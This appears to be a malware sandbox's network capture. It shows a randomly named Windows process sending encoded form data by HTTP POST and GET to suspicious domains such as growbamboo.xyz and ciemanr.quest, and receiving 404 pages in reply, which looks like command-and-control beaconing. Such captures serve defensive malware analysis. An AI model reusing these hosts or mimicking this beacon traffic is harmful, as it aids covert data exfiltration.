Dec 12, 2024 00:19:38.593681097 CET	1792	OUT	POST /gejp/ HTTP/1.1 Host: www.ciemanr.quest Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ciemanr.quest Referer: http://www.ciemanr.quest/gejp/ Content-Length: 1243 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 4d 2b 4e 6b 4f 2b 34 56 69 74 30 62 77 56 4f 56 51 75 75 72 30 6c 77 64 39 2f 65 62 64 56 37 54 44 6c 78 45 42 32 62 33 4f 6c 56 61 4c 61 65 4d 6f 54 39 54 31 58 72 56 5a 38 35 31 47 54 55 58 47 63 36 48 38 71 5a 47 71 58 72 64 2b 65 4c 32 45 4b 76 44 67 63 72 41 62 50 63 42 76 6d 39 55 78 42 48 6f 52 4b 55 35 57 72 49 49 52 51 6e 39 42 57 73 34 55 59 2b 72 41 36 7a 68 56 7a 78 4e 47 34 6a 41 4e 4c 44 36 70 64 4e 75 31 77 72 68 6b 2f 36 37 50 2b 77 6c 53 4f 73 33 2b 6a 2f 48 2f 50 77 57 68 45 44 48 4d 46 56 69 58 31 46 68 56 49 2b 30 49 41 6a 5a 4e 50 43 53 66 58 50 59 74 4a 6f 44 74 4b 68 2f 4d 36 48 64 6d 31 53 34 6e 63 5a 35 7a 46 74 35 69 41 69 70 62 75 6f 43 56 6d 72 49 42 69 36 41 55 7a 4c 45 43 67 70 43 6e 73 51 42 68 75 34 37 62 53 6b 35 34 75 51 61 78 45 38 5a 64 36 35 4d 32 38 30 52 6b 2f 7a 7a 7a 56 51 78 2b 4f 74 42 76 2f 6e 6c 44 41 61 6c 38 48 72 2f 70 46 73 6c 55 53 6d 55 42 31 64 61 6d 4e 56 6f 35 31 7a 79 47 75 35 47 56 4b 66 4e 46 4b 54 69 49 30 43 64 43 6a 38 [TRUNCATED] Data Ascii: LDVlCz=M+NkO+4Vit0bwVOVQuur0lwd9/ebdV7TDlxEB2b3OlVaLaeMoT9T1XrVZ851GTUXGc6H8qZGqXrd+eL2EKvDgcrAbPcBvm9UxBHoRKU5WrIIRQn9BWs4UY+rA6zhVzxNG4jANLD6pdNu1wrhk/67P+wlSOs3+j/H/PwWhEDHMFViX1FhVI+0IAjZNPCSfXPYtJoDtKh/M6Hdm1S4ncZ5zFt5iAipbuoCVmrIBi6AUzLECgpCnsQBhu47bSk54uQaxE8Zd65M280Rk/zzzVQx+OtBv/nlDAal8Hr/pFslUSmUB1damNVo51zyGu5GVKfNFKTiI0CdCj82+meHm5vUMMD95FxCF77VPg0zLN3kfjJcPj9oqNMuSZuFq9hyPbxfW9yidqJ90qu+yIQRvc9IxdAsX8gBRsmiWH7y5cr3zQ/ns5eBP/ytJJhVbXC8PVdrPldAf9j7vA260ZuXG1sv6526su0YM3PxJ4ZH0pSL2GWlNWrlzwV/yGfVyw2PEKz3knEo2Z7h913lKy8i1+9QiYxsiMo7DdT6Vil+art3EFDtrUxV9qtpCsS0I77Krh2m1JokiZQrUkA1lFbXlnVYwoCbCrjwyISbZNpi4YpgZ82MP7HRcfUhc6mMGHQwJEze0ZOX8SwQBrUMGJ0SYOsN9zB2PeFSXRZPJBosAg76ZlC22CL2sQSR49mND4xd0u376+ejqYAuP/rI6WE8eSpwiMyT1q+fbdPSdHFvs5frWtNyeBZUTo+EK21Ss8CYW9Xv7DhRgLu1JDmMjon+bv38CmPVkln+ZNdGevnqh/RxWYEtwdEBepXfUCF8QIJZmkbdsTy2nQialtAVqvtqnUG+K0AjsijbhYelGjno5Vu3CUzLECB9VMJPkaxH8rsT8onukoyoM4XxwcfoDyQ+R2l+R7SCZ3Tr3QcBCl25cNOv7o6atUK0Y9Th6NTX7tXKOKMYp69NSqlFgm0cghV/fVWuJkPA/fUaPjAP69LQii+HZK6Bu [TRUNCATED]
Dec 12, 2024 00:19:40.287234068 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Wed, 11 Dec 2024 23:19:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49911	150.109.11.247	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:41.243158102 CET	504	OUT	GET /gejp/?LDVlCz=B8lENIMSkdQf4FGQc5K+k257k877TXD8FgVAfBzrbl9XXLWxyw5ahRnSZIhzPxA1TMan6vpZ6mPmpcnGRYODwaH5MOJowBwrmH/nBLcALJg/EQzrJ0QQeK+YBPbGWQ4zHw==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1 Host: www.ciemanr.quest Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Dec 12, 2024 00:19:42.777731895 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Wed, 11 Dec 2024 23:19:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49929	173.208.249.155	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:48.903033972 CET	758	OUT	POST /1h7d/ HTTP/1.1 Host: www.growbamboo.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.growbamboo.xyz Referer: http://www.growbamboo.xyz/1h7d/ Content-Length: 207 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 4c 6a 39 30 6d 49 67 56 32 36 46 50 62 78 71 65 78 49 63 6b 42 43 76 32 38 35 75 36 33 74 4a 65 33 34 53 6c 6e 65 5a 69 57 64 52 70 31 70 6a 6a 73 30 4a 46 41 6e 45 34 77 6d 5a 59 50 51 59 78 56 38 4e 44 35 46 30 38 6f 30 6d 77 4e 54 31 56 70 43 37 52 34 57 42 64 6c 57 59 53 6f 53 31 4f 41 48 36 30 30 32 59 34 69 67 4d 75 69 57 72 72 73 64 55 4b 70 69 4d 67 5a 51 75 77 54 75 4d 42 41 58 65 63 4a 5a 6d 68 67 4e 43 2b 74 56 32 55 4d 4e 79 56 2b 44 72 34 49 42 42 4d 73 30 37 6a 78 4d 41 68 37 71 73 77 76 79 62 79 37 4c 44 6a 63 42 54 4e 67 79 36 63 6a 77 52 73 56 35 66 6f 6a 78 4e 47 63 39 63 3d Data Ascii: LDVlCz=Lj90mIgV26FPbxqexIckBCv285u63tJe34SlneZiWdRp1pjjs0JFAnE4wmZYPQYxV8ND5F08o0mwNT1VpC7R4WBdlWYSoS1OAH6002Y4igMuiWrrsdUKpiMgZQuwTuMBAXecJZmhgNC+tV2UMNyV+Dr4IBBMs07jxMAh7qswvyby7LDjcBTNgy6cjwRsV5fojxNGc9c=
Dec 12, 2024 00:19:50.045525074 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 23:19:49 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 [TRUNCATED] Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>34041 9Not Found1fca</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CC
Dec 12, 2024 00:19:50.045655966 CET	1236	IN	Data Raw: 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 Data Ascii: CCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000;
Dec 12, 2024 00:19:50.045667887 CET	1236	IN	Data Raw: 69 74 69 6f 6e 61 6c 2d 69 6e 66 6f 2d 69 74 65 6d 73 20 75 6c 20 6c 69 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 Data Ascii: itional-info-items ul li { width: 100%; } .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all;
Dec 12, 2024 00:19:50.046139002 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: font-size: 18px; } .contact-info { font-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0
Dec 12, 2024 00:19:50.046154022 CET	1236	IN	Data Raw: 4e 50 78 46 6b 62 2b 43 45 59 68 48 43 66 6d 4a 36 44 51 53 68 66 45 47 66 4d 74 37 31 46 4f 50 67 70 45 31 50 48 4f 4d 54 45 59 38 6f 5a 33 79 43 72 32 55 74 69 49 6e 71 45 66 74 6a 33 69 4c 4d 31 38 41 66 73 75 2f 78 4b 76 39 42 34 51 55 7a 73 Data Ascii: NPxFkb+CEYhHCfmJ6DQShfEGfMt71FOPgpE1PHOMTEY8oZ3yCr2UtiInqEftj3iLM18Afsu/xKv9B4QUzsV1XKFTzDPG+LfoLpE/LjJnzO08QCAugLalKeqP/mEmW6Qj+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9Y
Dec 12, 2024 00:19:50.046169996 CET	1236	IN	Data Raw: 4d 78 77 72 73 65 38 58 73 54 61 4d 6f 52 49 6f 43 61 5a 6d 67 33 42 51 67 4c 71 72 48 56 43 42 75 33 71 68 57 33 2b 41 41 4f 68 77 70 35 32 51 49 41 66 51 6b 41 77 6f 44 48 4b 7a 66 4e 45 59 63 6b 34 5a 50 70 35 71 68 35 43 70 34 56 46 69 4c 38 Data Ascii: Mxwrse8XsTaMoRIoCaZmg3BQgLqrHVCBu3qhW3+AAOhwp52QIAfQkAwoDHKzfNEYck4ZPp5qh5Cp4VFiL8WM/Cl8SF4pgthvtHm4qQUIiQdY+5NMfu/228Pkq3NZNMqD1W7rMnrwJeQEmIwKsacMI/TVOLlHjQjM1YVtVQ3RwhvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hP
Dec 12, 2024 00:19:50.046181917 CET	1236	IN	Data Raw: 44 42 56 42 32 61 34 49 79 78 2f 34 55 78 4c 72 78 38 67 6f 79 63 57 30 55 45 67 4f 34 79 32 4c 33 48 2b 55 6c 35 58 49 2f 34 76 6f 63 36 72 5a 6b 41 33 42 70 76 33 6e 6a 66 53 2f 6e 68 52 37 38 31 45 35 34 4e 36 74 34 4f 65 57 78 51 78 75 6b 6e Data Ascii: DBVB2a4Iyx/4UxLrx8goycW0UEgO4y2L3H+Ul5XI/4voc6rZkA3Bpv3njfS/nhR781E54N6t4OeWxQxuknguJ1S84ARR4RwAqtmaCFZnRiL2lbM+HaAC5npq+IwF+6hhfBWzNNlW6qCrGXRyza0yNOd1E1fsYUC7UV2Jop7XyXbsw90KYUInjpkRcecWfkEmdCAehgueuTmNt+shkReKd3v67nP9cNDJHvoD++xdvpovXKCp5Sf
Dec 12, 2024 00:19:50.046696901 CET	145	IN	Data Raw: 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 65 63 69 6f 6e 20 63 6c 61 73 Data Ascii: e> </head> <body> <div class="container"> <secion class="response-info"> <span class="status-code">
Dec 12, 2024 00:19:50.046706915 CET	1236	IN	Data Raw: 33 37 0d 0a 34 30 34 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 0d 0a 38 38 0d 0a 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 70 61 6e 3e 0a Data Ascii: 37404</span> <span class="status-reason">88Not Found</span> </section> <section class="contact-info"> Please forward this error screen to 25www.growbamboo.xyz's <a href="mailto
Dec 12, 2024 00:19:50.046716928 CET	456	IN	Data Raw: 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 70 61 6e 65 6c 2e 63 6f 6d 2f 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 63 70 61 6e 65 6c 77 Data Ascii: class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=131404referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49935	173.208.249.155	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:51.565583944 CET	778	OUT	POST /1h7d/ HTTP/1.1 Host: www.growbamboo.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.growbamboo.xyz Referer: http://www.growbamboo.xyz/1h7d/ Content-Length: 227 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 4c 6a 39 30 6d 49 67 56 32 36 46 50 55 78 36 65 33 75 55 6b 45 69 76 31 6c 4a 75 36 69 64 4a 53 33 34 75 6c 6e 61 4a 49 57 75 31 70 77 38 6e 6a 71 47 68 46 44 6e 45 34 34 47 5a 52 4c 51 5a 39 56 38 49 2b 35 47 73 38 6f 77 4f 77 4e 53 46 56 70 78 54 53 35 47 42 66 78 6d 59 51 73 53 31 4f 41 48 36 30 30 32 63 57 69 67 45 75 69 6d 62 72 71 38 55 4c 31 79 4d 6a 4f 67 75 77 58 75 4e 47 41 58 65 2b 4a 59 36 4c 67 50 4b 2b 74 55 47 55 4d 63 79 55 30 44 72 2b 47 68 41 59 6e 47 71 4c 2f 76 39 73 35 37 30 79 34 43 44 77 7a 64 79 4a 47 6a 62 6c 7a 53 57 6b 7a 6a 5a 62 45 4a 2b 42 35 53 64 32 43 71 4b 48 78 47 79 44 73 31 66 46 44 54 78 77 57 4d 5a 57 6d 73 35 48 Data Ascii: LDVlCz=Lj90mIgV26FPUx6e3uUkEiv1lJu6idJS34ulnaJIWu1pw8njqGhFDnE44GZRLQZ9V8I+5Gs8owOwNSFVpxTS5GBfxmYQsS1OAH6002cWigEuimbrq8UL1yMjOguwXuNGAXe+JY6LgPK+tUGUMcyU0Dr+GhAYnGqL/v9s570y4CDwzdyJGjblzSWkzjZbEJ+B5Sd2CqKHxGyDs1fFDTxwWMZWms5H
Dec 12, 2024 00:19:52.710707903 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 23:19:52 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 [TRUNCATED] Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>34041 9Not Found1fca</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CC
Dec 12, 2024 00:19:52.710783005 CET	1236	IN	Data Raw: 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 Data Ascii: CCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000;
Dec 12, 2024 00:19:52.710794926 CET	1236	IN	Data Raw: 69 74 69 6f 6e 61 6c 2d 69 6e 66 6f 2d 69 74 65 6d 73 20 75 6c 20 6c 69 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 Data Ascii: itional-info-items ul li { width: 100%; } .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all;
Dec 12, 2024 00:19:52.711070061 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: font-size: 18px; } .contact-info { font-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0
Dec 12, 2024 00:19:52.711081028 CET	896	IN	Data Raw: 4e 50 78 46 6b 62 2b 43 45 59 68 48 43 66 6d 4a 36 44 51 53 68 66 45 47 66 4d 74 37 31 46 4f 50 67 70 45 31 50 48 4f 4d 54 45 59 38 6f 5a 33 79 43 72 32 55 74 69 49 6e 71 45 66 74 6a 33 69 4c 4d 31 38 41 66 73 75 2f 78 4b 76 39 42 34 51 55 7a 73 Data Ascii: NPxFkb+CEYhHCfmJ6DQShfEGfMt71FOPgpE1PHOMTEY8oZ3yCr2UtiInqEftj3iLM18Afsu/xKv9B4QUzsV1XKFTzDPG+LfoLpE/LjJnzO08QCAugLalKeqP/mEmW6Qj+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9Y
Dec 12, 2024 00:19:52.711090088 CET	1236	IN	Data Raw: 49 39 63 63 48 52 43 64 78 55 65 59 61 6e 46 70 51 4a 4d 42 55 44 49 46 78 77 31 63 68 4a 69 42 41 6f 6d 6b 7a 33 78 34 33 6c 2b 6e 75 57 47 6d 57 68 6b 51 73 30 61 36 59 37 59 48 56 65 37 37 32 6d 31 74 5a 6c 55 42 45 68 4b 49 39 6b 36 6e 75 4c Data Ascii: I9ccHRCdxUeYanFpQJMBUDIFxw1chJiBAomkz3x43l+nuWGmWhkQs0a6Y7YHVe772m1tZlUBEhKI9k6nuLE8bzKVSECEHeCZSysr04qJGnTzsVxJoQwm7bPhQ7cza5ECGQGpg6TnjzmWBbU7tExkhVw36yz3HCm0qEvEZ9C7vDYZeWAQhnKkQUG/i7NDnCL/hwbvJr6miPKHTaOE54xpBGrl8RIXKX1bk3+A1aUhHxUte3sHEvN
